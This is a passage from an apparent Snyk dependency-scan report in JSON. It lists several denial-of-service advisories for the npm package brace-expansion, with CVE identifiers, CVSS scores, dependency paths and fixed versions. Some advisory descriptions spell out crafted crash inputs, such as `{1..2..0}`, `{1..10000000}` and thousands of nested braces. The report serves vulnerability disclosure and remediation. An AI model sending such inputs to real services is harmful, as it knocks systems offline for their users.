library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and 